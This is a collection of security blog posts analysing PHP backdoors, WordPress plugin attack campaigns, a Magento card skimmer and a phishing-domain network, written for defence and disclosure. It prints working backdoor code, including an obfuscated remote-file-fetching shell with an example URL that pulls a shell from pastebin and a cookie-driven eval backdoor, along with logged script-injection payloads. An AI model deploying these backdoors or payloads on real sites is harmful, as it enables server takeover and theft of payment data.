Spl_autoload Backdoor

With backdoors, one of the main challenges for malware authors is to execute code without using obvious functions (such as eval, asset, create_function, etc.) that trigger alerts for security scanners.

In the following example found by our security analyst Weston Henry, hackers used the combination of the “spl_autoload_extensions/spl_autoload” functions to execute arbitrary PHP code.

This code was injected at the top of one ecommerce website’s legitimate .php file.

World Health Organization spam image

At first glance, the code looks quite suspicious: “error_reporting” and “pack” keywords are built using character concatenation. There is also a long encrypted string in the code.

Backdoor in a Temporary File

The string unpacks to a more obvious backdoor that eval’s arbitrary base64-encoded PHP code passed in the HTTP_KHFTEX request parameter.

World Health Organization spam image

This backdoor is saved on the compromised server using file_put_contents.

At this point, it seems clear that this newly created file can be used by attackers to execute malicious code on the server whenever they want. The only problem is that the filename is not easily predictable: it uses the mt_rand function with 10,000 possible results, and the directory for temporary PHP files that may vary from server to server. Moreover, files in the temporary directory may be deleted any moment, which makes it not very reliable — even in the midterm.

$tmp_fdel = tempnam(sys_get_temp_dir(),mt_rand(0,9999));

Backdoor Execution via spl_autoload

If hackers don’t know the name of the backdoor file they created, then how do they want to use it? The answer lays in the following two lines of code.

spl_autoload_extensions($tmp_fdel);
spl_autoload('');

The first line registers the name of the created file as a default extension for spl_autoload, and the second line tries to load classes from files with the registered extensions. It may not be clear from the name, but the spl_autoload_extensions function works with fully qualified file paths too.

In this case, PHP tries to load classes from the backdoor file. The file doesn’t actually have any defined classes, but PHP needs to execute its code to figure it out. To avoid the LogicException error, hackers use the exit command at the end of the code.

A temporary backdoor file with a random name is created and automatically executed whenever hackers access the infected legitimate .php file with a set “systems” parameter in the POST request. Immediately after execution, the temporary file is deleted.

Conclusion

In this post, we describe malware that uses the spl_autoload function to hide the execution of arbitrary backdoor code. While it’s a very rare trick, the rest of the code will likely raise a red flag for most serious security scanners. That being said, you shouldn’t depend entirely on the fact that all security scanners will be able to find this malicious code. The best solution to detect this type of behaviour is to set up integrity controls in your environment. With these in place, you’ll notice any file modifications — regardless of the tricks that hackers invent.

Simple WAF Evasion Backdoor

Our team recently located a malicious PHP file on a compromised website which claims to evade web application firewalls, with the intention of downloading a malicious script to a compromised web-server.

<?php
$a = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
$b = "\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
var_dump($_REQUEST['a']($_REQUEST['b']));
$b($_REQUEST['c'], $a($_REQUEST['d']));
?>

The $a variable contains hexadecimal encoded text for the built-in PHP function file_get_contents which grabs the malicious payload from a third party website.

The $b variable is hexadecimal encoded text for the PHP function file_put_contents, which writes the contents to a file within the compromised environment.

The function var_dump essentially outputs the following _REQUEST variables, which are defined by URL parameters:

a= PHP function
b= function arguments
c= directory path you want to create with the malicious payload
d= location of the malicious payload

An example of these URL parameters in action would be the following URI, where waf.php contains the malicious code.

waf.php?a=system&b=ls+-lhart&c=/var/www/html/wordpress/shell.php&d=https%3A%2F%2Fpastebin.com%2Fraw%2Fh5fBwuqW

example url parameters on a simple waf evasion backdoor

If the website isn’t protected behind a firewall, then the PHP function system is executed along with its argument (in this case ls -lhart) and the malicious payload is downloaded from the defined source to the defined location — all of which is set in the GET request.

This malware tries to be evasive by using the hexadecimal format for its PHP functions of file_get_contents and file_put_contents. More importantly, it allows the attacker to provide the PHP function system through a HTTP GET URL parameter so that it isn’t stored in the file itself. This can help to prevent certain server side malware scanners from detecting it as malicious, since it does nothing without the crafted GET request.

While advertised as a method of bypassing WAFs - it is easily flagged as a RFI/LFI attempt by the Sucuri Firewall.

firewall blocking malicious behavior for backdoor

Plugins added to Malware Campaign: November 2019

This is an update for the long-lasting malware campaign targeting vulnerable plugins since January. Please check our previous updates below:

Plugins Under Attack: November 2019

Although attackers focused on infecting sites via attack vectors described here, we were able to detect the same behavior aiming plugins at the very end of this month.

Plugins that are continuing to be leveraged by attackers are:

Plugin Payloads Added to the Campaign

Folders

46.101.174.128 - type=attachment&width=%3C%2Fstyle%3E%3Cscript+type%3Dtext%2Fjavascript+src%3D%27https%3A%2F%2Ftop.worldctraffic.com%2Ftop%27%3E%3C%2Fscript%3E%3Cstyle%3E [23/Nov/2019:12:19:33 +0000] "POST /wp-admin/admin-ajax.php?action=wcp_change_post_width HTTP/1.1" 

Simple Fields

46.101.174.128 - action=simple_fields_do_import&import-json=%7B%0A++++%22field_groups%22%3A+%7B%0A++++++++%221%22%3A+%7B%0A++++++++++++%22id%22%3A+1%2C%0A++++++++++++%22key%22%3A+%22test%22%2C%0A++++++++++++%22slug%22%3A+%22test%22%2C%0A++++++++++++%22name%22%3A+%22test%22%2C%0A++++++++++++%22description%22%3A+%22%22%2C%0A++++++++++++%22repeatable%22%3A+false%2C%0A++++++++++++%22fields%22%3A+%5B%5D%2C%0A++++++++++++%22fields_by_slug%22%3A+%5B%5D%2C%0A++++++++++++%22deleted%22%3A+false%2C%0A++++++++++++%22gui_view%...skipped...%22deleted%22%3A+false%2C%0A++++++++++++%22hide_editor%22%3A+false%2C%0A++++++++++++%22added_with_code%22%3A+false%2C%0A++++++++++++%22field_groups_count%22%3A+1%0A++++++++%7D%0A++++%7D%2C%0A++++%22post_type_defaults%22%3A+%5B%0A++++++++false%0A++++%5D%0A%7D&import-what=textarea&simple-fields-import-type=replace [23/Nov/2019:13:02:05 +0000] "POST /wp-admin/admin-post.php HTTP/1.1" 

Malicious Domains and IPs:

IPs:

198.12.70.83
89.238.167.46
181.58.70.192
84.237.142.110
91.215.187.211
46.101.174.128

Domains Injected:

  • https[:]//top[.]worldctraffic[.]com/cas?/java.js?t=2&

We strongly encourage you to keep your software up to date to prevent infection. You can add a WAF as a second layer of protection to virtually patch these vulnerabilities.

Sucuri_encrypted: Magento Malware

In an effort to make malicious code appear to be credible, hackers commonly piggyback on the names of reputable, well-known companies and services. Typical examples of this technique include malware campaigns that abuse names of jQuery and Google Analytics.

Protecting websites and educating website owners about attacks for over ten years, Sucuri’s name and brand has also become a credibility indicator that hackers seek to abuse in their malicious code.

One recent example is a credit card stealing malware that we’ve been locating within the app/code/core/Mage/Payment/Model/Method/Cc.php files of compromised sites since the end of last year.

The stealer begins with “$this->sucuri_encrypted();” which is added to the assignData function of the Mage_Payment_Model_Method_Cc class.

In the sucuri_encrypted() method, you see something along these lines:

fake sucuri_firewall code

There is some assignment of encrypted data to items of the $sucuri_firewall array with the “create array of data to be secured” comment. This makes it appear to have something to do with encryption and Sucuri firewall.

Of course, this is not true. The Sucuri Firewall does not modify Magento files—it doesn’t even have access to the website files. It works on a separate server as an invisible additional layer between a protected website and its visitors (or attackers).

What this code actually does is steal customer payment details and send them to a script on a third-party hacked server.

exfiltrating payment information

Unauthenticated settings update in woocommerce-ajax-filters

woocommerce-ajax-filters, which currently has over 10,000 installations (versions <=1.3.6) allows unauthenticated attackers to arbitrarily update all the plugin options and redirect any user to an external malicious URL when the product section is visited. The bug takes advantage of a misunderstanding of the admin_init hook’s execution context.

if( is_admin() ) {
      require_once dirname( __FILE__ ) . '/includes/wizard.php';
}
[...]

function wizard_selectors($wizard) {
[...]
 <div class="wizard_custom_js_css" style="display: none;">
    <h3><?php _e('User custom CSS style', 'BeRocket_AJAX_domain') ?></h3>
    <textarea name="berocket_aapf_wizard_settings[user_custom_css]">
        <?php echo br_get_value_from_array($option, array('user_custom_css')) ?>
    </textarea>
    <h3><?php _e('JavaScript Before Products Update', 'BeRocket_AJAX_domain') ?></h3>
    <textarea name="berocket_aapf_wizard_settings[user_func][before_update]">
        <?php echo br_get_value_from_array($option, array('user_func', 'before_update')) ?>
    </textarea>
    <h3><?php _e('JavaScript On Products Update', 'BeRocket_AJAX_domain') ?></h3>
    <textarea name="berocket_aapf_wizard_settings[user_func][on_update]">
        <?php echo br_get_value_from_array($option, array('user_func', 'on_update')) ?>
    </textarea>
    <h3><?php _e('JavaScript After Products Update', 'BeRocket_AJAX_domain') ?></h3>
    <textarea name="berocket_aapf_wizard_settings[user_func][after_update]">
        <?php echo br_get_value_from_array($option, array('user_func', 'after_update')) ?>
    </textarea>
</div>

[...]

What's the problem with the code above?

  • Developer assumed that WordPress’s admin_init hook are only called when an administrator user visited a page inside /wp-admin/
  • The plugin settings allow users to add custom javascript code

A patch was released a few days ago to address this vulnerability.

Because of the nature of the bug, specifically it’s severity, we will not be disclosing additional details. We are seeing malicious requests being used in the wild. While most of them target /wp-admin/admin-post.php, other endpoints in the /wp-admin/ directory can be used to trigger the admin_init hook and exploit the vulnerability.

Malicious IPs attacking this plugin:

175.126.62.37
104.238.99.130
45.32.104.33
139.99.106.10
153.126.194.159
162.241.175.243
51.68.204.149
162.243.165.84
142.44.151.107
186.202.161.191
46.105.17.29
192.169.243.42
186.202.161.191
159.65.65.204
192.30.164.48
51.158.72.203
178.62.93.109
139.59.116.30
213.128.89.176
138.68.181.84

If you have an old version of this plugin installed please update to the latest version (1.3.7) asap. You can add a WAF as a second layer of protection and virtually patch the vulnerability.

Skimmers and Phishing

Recently, we shared a post about a network of domains used in a JavaScript credit card stealing malware campaign. These domains are all hosted on the same server with the IP 8.208.15.67.

In addition to the domains used by the skimmers, the server also had two sites whose domains were clearly created for phishing two Canadian banks:

rbcroyalbank[.]com.ng - Real address of the Royal Bank of Canada is rbcroyalbank.com

www1-bmo[.]com.co - Online banking for the Bank of Montreal is www1.bmo.com.

Given that the goal of malware on e-commerce sites and bank phishing is to obtain payment details and steal money, it’s quite natural to see the same bad actors participating in both types of attacks.

Moreover, as Group IB wrote in April about the previous wave of these JS skimmers, this campaign is known for using fake Magento login pages on domains mimicking the domain names of the online stores they tried to compromise. So phishing and credit card skimmers complement each other very well.

Unlike other domains, where registrant details were hidden by privacy protection services, the rbcroyalbank[.]com.ng domain had public WHOIS information.

Creation Date: 2019-06-10
...
Registrant ID: 1319589-NIRA
Registrant Name: Julio Jaime
Registrant Organization: Media Lend, LLC
Registrant Email: medialand.regru@gmail.com

Most likely, this information is [mostly] fake—but it was enough to find another batch of phishing domains.

Fake Data:
While the data says the address is in Indiana, the zip code and city provided are in New Jersey.

The email “medialand.regru@gmail.com” suggests a connection to a Russian domain name registrar reg.ru. Most likely, it’s a dedicated email address used specifically for registering new domain names.

We used DomainBigData to search if anything else was associated with that medialand.regru account and found a whole bunch of other [mostly] phishing domains registered in 2019.
Here are just some of them:

Facebook
facebook-bay[.]com  2019-03-29  reg.com
facebook-s3[.]com   2019-04-04  reg.com
facebook-s2[.]com   2019-04-04  reg.com
facebook-s1[.]com   2019-04-04  reg.com
facebook-listings[.]com 2019-03-30  reg.com
facebook-listing[.]com  2019-03-30  reg.com
facebook-itm[.]com  2019-03-30  reg.com
facebook-state[.]com    2019-03-29  reg.com
facebook-restore[.]com  2019-03-23  reg.com
restore-facebook[.]com  2019-03-23  reg.com
facebook-area[.]com     2019-03-17  reg.com
facebook-ss[.]com   2019-03-29  reg.com
recover-facebook[.]com  2019-03-23  reg.com
facebook-st[.]com   2019-03-29  reg.com
facebook-secure[.]com   2019-03-23  reg.com
static-facebook[.]com   2019-03-23  reg.com
facebook-us[.]com   2019-03-28  reg.com
facebook-s6[.]com   2019-04-20  reg.com
facebook-s5[.]com   2019-04-20  reg.com
facebook-s4[.]com   2019-04-20  reg.com

MyEtherWallet
myetherevvalliet[.]com  2019-07-21  reg.com
Bank phishing
carrefourbanque-compte[.]com    2019-06-18  reg.com
www-1royalbank[.]com    2019-05-29  reg.com
clickwebsite-rbc[.]com  2019-05-22  reg.com
tangerine-en[.]com  2019-05-07  reg.com
meine-db-account-i73983479[.]com    2019-04-08  reg.com
acc7201-statement-online[.]com  2019-04-01  reg.com
postecartaonline[.]com  2019-03-26  reg.com
client-sofinco[.]net    2019-03-01  reg.com
olb-secure[.]com    2019-02-20  reg.com
mabanquepro-bnpparibas[.]com    2019-03-17  reg.com
bmo-onlinebanking[.]com     2019-05-08  reg.com
secure-banking-updt[.]com   2019-02-22  reg.com
com-cgi-bin-3t5ufkygkl56-www-desjardins[.]com   2019-04-25  reg.com

PayPal
limited-services-paypal[.]com   2019-05-20  reg.com
restricted-users-paypai[.]com   2019-06-28  reg.com

Mobile carriers 
my3-bill[.]com  2019-04-18  reg.com
three-mybilling[.]com   2019-03-28  reg.com
threebilling[.]com  2019-03-08  reg.com
myvodafone-billing[.]com    2019-03-12  reg.com
account-billing[.]com   2019-03-15  reg.com

Apple
apple-appield[.]com     2019-04-23  reg.com
apple-restore[.]com     2019-03-28  reg.com

Many of these domains have already been detected as phishing by various security companies:


https://www.virustotal.com/gui/url/fb934dd5d574344759251678dd3c3b183f83fbe1cfb652201b155ee5c69a5476/detection

New variant of “trollherten” malware

We continue to see new variations of obfuscation used to hide a PHP backdoor that began to be heavily used by malicious users in late 2018 - as we mentioned in a blog post at the time.


This variant tries to hide by compressing and encoding the malicious code, then using clever variables to try and mislead someone that may just be doing a cursory glance of the file’s code. In fact, the file and its coding has nothing at all to do with images or watermarks. Its true purpose is found on line 10:

$watermark='};'.urldecode(gzinflate(urldecode($lmagewatermark.$imagewatermark))).'{'; create_function('',$watermark);

This line of code defines the variable $watermark with the uncompressed, decoded data that was derived by using urldecode and gzinflate on the $imagewatermark variable. Now that we have the uncompressed, decoded data assigned to the $watermark variable, it will be easier for us to read the code:

};$GLOBALS['_79565595_']=Array('str_' .'rot13','pack','st' .'rrev');
function _1178619035($i{
$a=Array("jweyc","aeskoly","owhggiku","callbrhy","H*");
return $a[$i];}
function l__0($_0){
return isset($_COOKIE[$_0])?$_COOKIE[$_0]:@$_POST[$_0];}$_1=l__0(_1178619035(0)) .l__0(_1178619035(1)) .l__0(_1178619035(2)) .l__0(_1178619035(3));
if(!empty($_1)){
$_1=$GLOBALS['_79565595_'][0](@$GLOBALS['_79565595_'][1](_1178619035(4),$GLOBALS['_79565595_'][2]($_1)));
if(isset($_1)){
@eval($_1);
exit();}}

And after further deobfuscating the PHP code’s arrays and text manipulation, we can see that this is the same malicious code that was mentioned in our past blog post in late 2018:

<?php
function cookie_or_request($_0){
return isset($_COOKIE[$_0]) ? $_COOKIE[$_0] : @$_POST[$_0];}
$rce = cookie_or_request('jweyc') . cookie_or_request('aeskoly') . cookie_or_request('owhggiku') . cookie_or_request('callbrhy');
if(!empty($rce)){
$rce = str_rot13(pack('H*', strrev($rce)));
if(isset($rce)){
@eval($rce);
exit();}}